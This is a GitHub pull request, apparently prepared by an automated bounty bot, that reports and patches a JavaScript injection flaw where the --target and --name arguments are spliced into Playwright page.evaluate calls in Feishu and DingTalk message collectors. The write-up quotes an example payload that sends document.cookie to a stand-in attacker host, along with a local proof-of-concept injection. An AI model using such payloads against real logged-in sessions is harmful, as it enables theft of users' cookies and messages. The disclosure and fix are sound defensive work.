Repository navigation
fix(security): JavaScript injection: --target/--name interpolated into page.evaluate in the browser collectors - #213
Open
failsafesecurity wants to merge 1 commit into
Conversation
…o page.evaluate in the browser collectors
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Security fix: JavaScript injection: --target/--name interpolated into page.evaluate in the browser collectors
Severity: HIGH (CVSS 8.4)
CWE: CWE-94
File:
tools/dingtalk_auto_collector.pyWhat this fixes
The browser collectors in tools/feishu_browser.py and tools/dingtalk_auto_collector.py build the JavaScript they hand to Playwright's page.evaluate with an f-string, splicing a caller-supplied name straight into a JavaScript string literal as const target = "{value}";. A value containing a double quote closes that literal early, so the remainder of the value is parsed as JavaScript and runs in the page the collector already has open.
tools/feishu_browser.py:227-269 does this with the --target value inside fetch_messages, and tools/dingtalk_auto_collector.py:595-632 does the same with --name inside collect_messages_browser. Because page.evaluate executes the assembled source in the page context, the injected statements run on the origin of the session the collector is logged into — Feishu or DingTalk — carrying the user's cookies and tokens with them.
Neither value is sanitised or JSON-encoded anywhere along the path, and the sibling page.evaluate calls in each file use static strings, so these two interpolated sites are the only injectable ones.
tools/feishu_browser.py:227 builds
messages = page.evaluate(f"""() => {{ const target = "{target_name}"; ...withtarget_namearriving from --target (main() parses it at line 305 and line 353 passesargs.target or ""into fetch_messages). tools/dingtalk_auto_collector.py:595-597 has the identical shape withconst target = "{name}";, wherenamecomes from --name (main() line 754) and is passed through collect_all down to collect_messages_browser(name, ...) at line 722. The other page.evaluate calls in these files — feishu_browser.py:143 and :217, dingtalk_auto_collector.py:589 — are static strings, so line 227 and line 595 are the only interpolated evaluate sites in each file.Playwright evaluates the assembled source in the page context of the authenticated Feishu/DingTalk session. A payload such as
";fetch("https://attacker/?c="+document.cookie);//breaks out of the string literal into the evaluated function body. Driving the real modules unmodified, with only the victim page substituted for a local stand-in that setsdocument.cookie='sid=[REDACTED] path=/', and target set tox"; document.title = "INJECTED-" + document.cookie; document.body.setAttribute("data-pwn","1"); //, the injected statements execute in the page context: document.title becomesINJECTED-sid=[REDACTED] and thedata-pwn` attribute is set. The same primitive is reachable through dingtalk collect_messages_browser. In deployment the page is the live authenticated Feishu/DingTalk origin inside the user's Chrome profile, so the injected code runs same-origin with the victim's session.Preconditions: An attacker can influence the --target or --name value — for example a colleague name read from an untrusted file or chat, or the SKILL.md workflow that interpolates {name}/{target} into these commands — and the collector is run against a logged-in browser profile.
The change
Changed the page.evaluate call in collect_messages_browser to pass the caller-supplied name and msg_limit as a structured argument object instead of interpolating name into the JavaScript source. The arrow function now reads args.target and args.limit, so quotes/backslashes/statements in name can no longer break out of the JS string literal or execute in the page.
Impact if unpatched
An attacker who can influence the name runs arbitrary JavaScript inside the user's authenticated Feishu or DingTalk session, which is enough to steal messages, documents and session cookies or tokens, or to perform privileged actions as the user. Because the page is the live Feishu/DingTalk origin in the user's own Chrome profile, the injected code inherits that session directly.
Prepared by OpenClaw BountyBot. Finding surfaced by Failsafe Nexus (Pandora) and the patch adversarially reviewed by GLM. Please review carefully — automated patches are a starting point, not a guarantee.